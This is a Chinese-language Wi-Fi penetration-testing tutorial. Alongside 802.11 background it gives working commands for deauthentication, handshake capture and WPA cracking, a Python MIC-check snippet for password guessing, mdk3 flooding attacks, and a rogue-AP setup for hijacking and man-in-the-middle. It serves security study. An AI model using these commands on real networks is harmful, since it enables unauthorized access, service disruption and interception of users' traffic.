WiFi网络结构
AP(Access Point)基站
Wi-Fi热点/无线路由器,将互联网上其他服务器上的数据转发到客户端
STA(Station)站点
就是指客户端这样具有Wi-Fi通信功能并且连接到无线网络中的终端设备
WiFi工作原理
AP广播
无线路由器开启SSID广播功能后,AP将自动广播自己的SSID名称
其中SSID是Service Set Identifer的缩写,意思是服务集标识,就是用户在无线客户端搜索到的无线信号
SSID经由beacons封包广播
AP探测
客户端选择加入哪个无线网络的时候,会发送AP探测请求,,以请求特定无线网络的响应包
根据AP给予的响应包,确定AP工作的频段,之后客户端切换到与AP相同的频段
身份认证
客户端提供密码来身份认证
数据传输
客户端成功加入AP所在的网络,和AP进行数据传输
2.4G/5G标准
2.4G频段共划分为14个信道(能用的仅13个),5G频段共划分为5个信道
无线网络监听模式
将无线网卡设置为监听状态,以捕获附近其他主机的数据包
无线网卡的工作模式
- Manage模式:用于无线客户端直接与无线接入点(AP)链接
- Master模式:允许无线网卡使用特制的驱动程序和软件工作,作为其他设备的无线AP
- Ad-Hoc模式:各设备之间采用对等网络的方式连接
- Monitor模式:监控无线网络内部的流量
启用2.4GHz无线网卡监听
启用监听:airmon-ng start <interface>
查看无线网卡工作模式:iwconfig <interface>
停止监听:airmon-ng stop <interface>
扫描无线网络
也就是侦听周围的无线信号,获取信息(AP名称,工作的信道,MAC地址……)
- 主动扫描:客户端主动发送探测请求帧(使用NULL或设置的SSID名称),周围的AP收到该请求后,将会响应该探索信号帧,即使不发送信号的AP也会响应该请求
- 被动扫描:AP每隔一段时间自动发送信号帧
实时扫描
airodump-ng <interface> -w <file>

第一行显示的是当前扫描的信道和扫描的时间
第二部分显示的是AP的信息
第三部分显示的是客户端的信息
BSSID: AP的Mac地址
PWR:信号强度,数字越小,信号越强
Beacons:无线发出的通告编号
#Data:对应路由器的在线数据吞吐量
#/s:过去10秒钟内每秒捕获数据分组的数量
CH:路由器的所在频道
MB:无线所支持的最大速率
ENC:使用的加密算法体系
CIPHER:检测到的加密算法
AUTH:使用的认证协议
ESSID:路由器的名称
------------------------
STATION:客户端的MAC地址
Rate:传输率
Lost: 在过去10秒钟内丢失的数据分组,基于序列号检测
Frames:客户端发送的数据分组数量
Probe:被客户端探查的ESSID。如果客户端正试图连接一个无线网络,但是没有连接上,那么就显示在这里
离线扫描
从捕获文件中读取数据包:airodump-ng -r <pcap>
获取AP的生产厂商
加上--manufacturer

扫描打开WPS功能的AP
WPS功能指用户按下无线路由器上的WPS键,或者输入一个PIN码,就能快速地完成无线网络连接,并获得WPA2级加密的无线网络,由于PIN码验证机制的弱点,导致网络不安全,所以渗透者可以利用PIN码的弱点对其无线网络实施渗透
可以使用wash工具来扫描无线网络

Lck如果是Yes,表示该AP锁定了WPS;如果为NO,表示没有锁定,即开启了WPS功能
获取隐藏的ESSID
隐藏的ESSID就是指AP不自动广播SSID名称,如果用户不指定该AP的SSID名称则无法接入该无线网络
可以使用mdk3工具来获取隐藏的ESSID名称

这里的-b
表示使用全暴力破解模式,-t
设定目标AP的MAC地址,-s
设置发包速率
获取AP漏洞信息
Routerpwn.com
扫描未关联的客户端
关联主要指客户端发送关联请求包给目标AP,以获取AP的关联响应包。
其中,关联请求包中携带了一些协商信息,包括加密方式、支持的速率、支持的功率及其他的一些特性。AP如果都支持这些协商的话,则回应携带OK信息的关联响应包给客户端,并同意其接入。如果AP对客户端的协商信息有异议,则会发送携带错误码的关联响应包给客户端。
可以使用Hoover工具扫描未关联的客户端的方法
sudo ./hoover.pl --interface=wlan0mon --tshark-path=/usr/bin/tshark --dumpfile==result.txt
!! Dumping detected networks:
!! MAC Address SSID Count Last Seen
!! -------------------- ------------------------------ ---------- -------------------
!! b4:43:0d:a9:f4:4e Wildcard (Broadcast)[Malformed Packet] 17 1970/01/01 08:00:00
!! b4:43:0d:a9:f4:4e HeLLo 79 1970/01/01 08:00:00
!! b4:43:0d:a9:f4:4e Wildcard (Broadcast) 89 1970/01/01 08:00:00
!! 66:6e:97:23:41:46 gElLqPdSgXnLsRwUiZp4tTyUF1q7vaAW 1 1970/01/01 08:01:06
!! 78:11:dc:ab:17:ad Xiaomi_Leo 1 1970/01/01 08:01:18
!! Total unique SSID: 5
其中Count
表示关联次数,Count
越大越能说明关联没有成功
查看AP和客户端的关联关系
使用工具airgraph-ng
可以绘图表示AP和客户端的关联关系
sudo airgraph-ng -i test-01.csv -o Image.png -g CAPR
捕获数据包
数据包概述
握手包
握手包指采用WPA加密方式的无线AP与无线客户端进行连接前的认证信息包,其中包含后期数据传输的密钥。
握手包只有在客户端和AP连接的时候才会出现,所以在抓包时,需要实施死亡攻击,让已经连接AP的客户端断线,当客户端再次连接时,就可以抓到握手包。
握手包包括4个交互过程,即4个握手包,协议为EAPOL
非加密包
捕获的数据包是否加密,主要取决于无线AP。
非加密包中可以看到每个包的地址、协议、内容等信息
加密包
用户需要解密后才能看到原始的数据包,加密的方式有:WEP或WPA等
802.11帧概述
802.11协议是无线局域网通用的标准
802.11中的帧可以分为三类:管理帧,控制帧和数据帧
数据帧
数据帧结构:

数据帧也分为4类:
- IBSS(独立基本服务集): STA -> AP -> Ethernet
- TO AP: STA -> AP
- FROM AP : AP->STA
- WDS(无线分布式系统): 让AP与AP间通信,WDS充当无线网络中继器
控制帧
控制帧主要用于竞争期间的握手通信和正向确认、结束非竞争期等。
常用的控制帧有四个:
- RTS:请求发送
- CTS:允许发送
- ACK:应答
- PS-poll:省电模式-轮询
管理帧
管理帧主要用于无线客户端与AP之间协商、关系的控制,如关联、认证和同步等
Beacon帧也属于管理帧
捕获数据包
无线网卡在监听数据包时会跳频,为了避免数据包丢失,用户可以手动设置监听信道
airmon-ng start <interface> <channel>
iwconfig [interface] channel N
然后打开wireshark捕获数据包
使用捕获过滤器
指定捕获的Mac地址:ether host xxx
分析数据包
分析Beacons帧可以查看AP的详细信息


解密数据包
路由器的数据包通常是使用WEP或WPA/WPA2进行加密。如果目标AP是使用WEP认证方式加密的话,则捕获到的包也是加密的
wlan.fc.type_subtype == 0x28
来过滤出加密的数据包
对于WEP加密:密钥为AP密码的十六进制ASCII值用冒号连接
对于WPA/WPA2加密方式
- wpa-pwd型的密钥为”密码:BSSID”
- wpa-psk型的密钥为
raw pre-shared key
密钥生成网站:https://www.wireshark.org/tools/wpa-psk.html
也可以通过脚本来永久解密数据包
解密WEP加密数据包:airdecap-ng -w [password] [pcap file]
解密WPA加密数据包:airdecap-ng -e [ESSID] -p [password] [pcap file]
WPA/WPA2加密模式
WPA全名Wi-Fi Protected Access(Wi-Fi保护访问),是一种无线网络通信安全保护系统。
加密工作原理
WPA有4种加密类型,分别是WPA、WPA-PSK、WPA2、WPA2-PSK
WPA/WPA2
- 客户端向接入设备发送一个EAPOL-Start报文,开始认证接入
- 接入设备向客户端发送EAP-Request/Identity报文,要求客户端提交用户名
- 客户端回应一个EAP-Response/Identity给接入设备的请求,其中包括用户名
- 接入设备将EAP-Response/Identity报文封装到RADIUS Access-Request报文中,发送给认证服务器
- 认证服务器产生一个Challenge,通过接入设备将RADIUS Access-Challenge报文发送给客户端,其中包含EAP-Request/MD5-Challenge
- 接入设备通过EAP-Request/MD5-Challenge发送给客户端,要求客户端进行验证
- 客户端收到EAP-Request/MD5-Challenge报文后,将密码和Challenge做MD5算法生成Challenged password,再由EAP- Response/MD5-Challenge回应给接入设备
- 接入设备将Challenge、Challenged password和用户名一起送到RADIUS服务器,由RADIUS服务器进行认证
- RADIUS服务器根据用户信息做MD5算法,判断用户是否合法。
- 如果认证通过,用户通过标准的DHCP协议,通过接入设备而获取规划的地址
- 接入设备发送计费开始请求到RADIUS用户认证服务器
- RADIUS用户认证服务器回应计费开始请求报文
WPA-PSK/WPA2-PSK
是WPA/WPA2加密类型的一种简化版
- 无线AP定期发送Beacon数据包,使无线终端可以更新自己的无线网络列表

- 无线终端在每个信道广播Probe Request请求

- 每个信道的AP回应Probe Response,包含ESSID及RSN信息

- 无线终端向目标AP发送AUTH包。AUTH认证类型有两种,0表示开放式(WPA/WPA2必须是开放式),1表示共享式

- AP回应网卡AUTH包(如果之前发送的是0,那么返回Success)

- 无线终端向AP发送关联请求包Association Request数据包
sta收到认证successful报文后,决定加入网络,则会发送Assoc Req帧,指明要加入的网络,以及自己的Listen Interval(聆听间隔,即sta多久聆听一次Beacon帧)和自己的能力信息。 AP收到Assoc Req帧后,确认sta的Listen Interval自己是否接受,能力信息是否匹配。如果一切OK,则回复Assoc Rsp帧。携带Association ID(关联ID)和successful信息,表示关联成功。否则回复Assoc Rsp帧,携带falied信息,表明关联失败。

- AP向无线终端发送关联响应包Association Response数据包

- EAPOL四次握手进行认证

EAPOL认证算法
max_mac, min_mac = sort(ap_mac, sta_mac)
max_nonce, min_nonce = sort(ap_nonce, sta_nonce)
message = b''.join([
b'Pairwise key expansion\x00',
min_mac,
max_mac,
min_nonce,
max_nonce,
b'\x00'
])
eapol_frame_zeroed_mic = b''.join([
eapol_frame[:81],
b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
eapol_frame[97:99]
])
pmk = hashlib.pbkdf2_hmac('sha1', password_guess, SSID.encode(), 4096, 32)
kck = hmac.new(pmk, message, hashlib.sha1).digest()[:16]
calculated_mic = hmac.new(kck, eapol_frame_zeroed_mic, hashlib.sha1).digest()[:16]
if calculated_mic == mic:
print("Success")
万能钥匙?
安卓手机已连接的Wi-FI密码默认保存在/data/misc/wifi/wpa_supplicant.conf
kali自带的密码字典:/usr/share/wordlists
公众分享:https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
Crunch工具生成字典:crunch <min-len> <max-len> [character set] -o [file]
生成PMKs数据
除了7.1.3的脚本,还可以通过airolib-ng
来生成PMKs数据
捕获握手包
要破解Wi-Fi密码,就必须要捕获到握手包
- 首先指定目标AP,捕获握手包:
sudo airodump-ng -w <file> --bssid <MAC> -c <CHANNEL> <WLAN INTERFACE>
- 使用
aireplay-ng
命令来实施死亡攻击,切断AP与STA之间的联系,迫使STA重新连接,发送握手包sudo aireplay-ng -0 1 -a <AP-MAC> -c <CLIENT-MAC> <WLAN INTERFACE>
其中-0
表示实施死亡攻击,1
表示攻击次数 - wpaclean提取握手包
wpaclean out.pcap in.cap
- 验证握手包:
wifite --check [pcapfile]
或者Wireshark
- 合并握手包数据:
besside-ng-crawler <Input Directory> <Output File>
破解密码
- Aircrack-ng:
aircrack-ng -w <dict> <pcapfile>
- Pyrit(可以GPU加速):
pyrit -r [pcap file] -i [filename] -b [bssid] attack_passthrough
攻击无线AP
认证洪水攻击
简称为Auth攻击,也是无线网络拒绝服务攻击的一种方式。该攻击的目标主要针对那些通过验证和AP建立关联的关联客户端。攻击者向AP发送大量伪造的身份验证请求帧,当AP收到大量伪造的身份验证请求而超过所能承受的能力时,它将断开其他无线服务连接。
攻击原理:攻击者使用一些看起来合法但是是随机生成的MAC地址来发送大量的虚假连接请求到AP,导致AP失去响应,使得AP的连接列表出现错误,使得连接的合法客户端强制与AP断开连接
使用MDK3实施攻击:mdk3 <interface> a <test_options>
interface
:用于指定攻击的网络接口a
:实施身份验证洪水攻击-s <pps>
:设置包的速率-a <ap_mac>
:指定目标AP的MAC地址-i <bssid>
:对指定BSSID进行攻击


取消认证洪水攻击
攻击者向整个网络发送伪造的取消身份验证报文,从而阻断了合法用户和AP之间的连接
sudo mdk3 wlan0mon d -c <channel>

假信标(Fake Beacon)洪水攻击
向无线信道中发送大量虚假的SSID来充斥客户端的无线列表,使客户端找不到真实的AP
mdk3 <interface> b <test_option>
-n <ssid>
: 自定义ESSID-f <filename>
: 读取ESSID列表文件-v <filename>
: 自定义ESSID和BSSID对应的列表文件-d
: 自定义为Ad-Hoc模式-w
: 自定义为WEP模式-g
: 自定义为54Mbit模式-t
: 使用WPA TKIP加密-a
: 使用WPA ASE加密
mdk3 wlan0mon b -w -g -t -m -c 6

可以看到多了很多乱七八糟的WiFi名
攻击客户端
通过使用伪AP的方式来攻击客户端,监听数据、劫持会话、控制客户端
创建伪AP
- 首先安装DHCP服务
sudo apt-get install isc-dhcp-server -y
- 修改
/etc/dhcp/dhcpd.conf
文件配置:
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
authoritative;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.100 192.168.2.200;
option subnet-mask 255.255.255.0;
option routers 192.168.2.1;
option broadcast-address 192.168.2.255;
option domain-name-servers 192.168.2.1;
}
- 修改
/etc/default/isc-dhcp-server
:
INTERFACESv4="wlan0"
- 启动DHCP服务配置网络接口信息:
ifconfig wlan0 192.168.2.1/24
启动DHCP服务:sudo service isc-dhcp-server start
查看DHCP服务状态:sudo service isc-dhcp-server status
- 创建Iptables规则来启用包转发iptables –flush
iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
iptables –append FORWARD –in-interface wlan0 -j ACCEPT
sysctl -w net.ipv4.ip_forward=1 - 使用Hostapd创建伪AP编辑伪AP配置文件:
/etc/hostapd/hostapd-wpa2.conf
interface=wlan0
ssid=WPA2
channel=6
beacon_int=100
hw_mode=g
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP启动:hostapd /etc/hostapd/hostapd-wpa2.conf
强制客户端连接到伪AP
通过取消认证洪水攻击来使用户断开与之前网络的连接,并连到我们设置的伪AP中去
劫持会话
用户连接到我们的网络中后,抓其流量包来劫持会话
监听数据
中间人攻击
Ettercap是一个基于ARP地址欺骗方式的网络嗅探工具,可以用来嗅探网络数据包

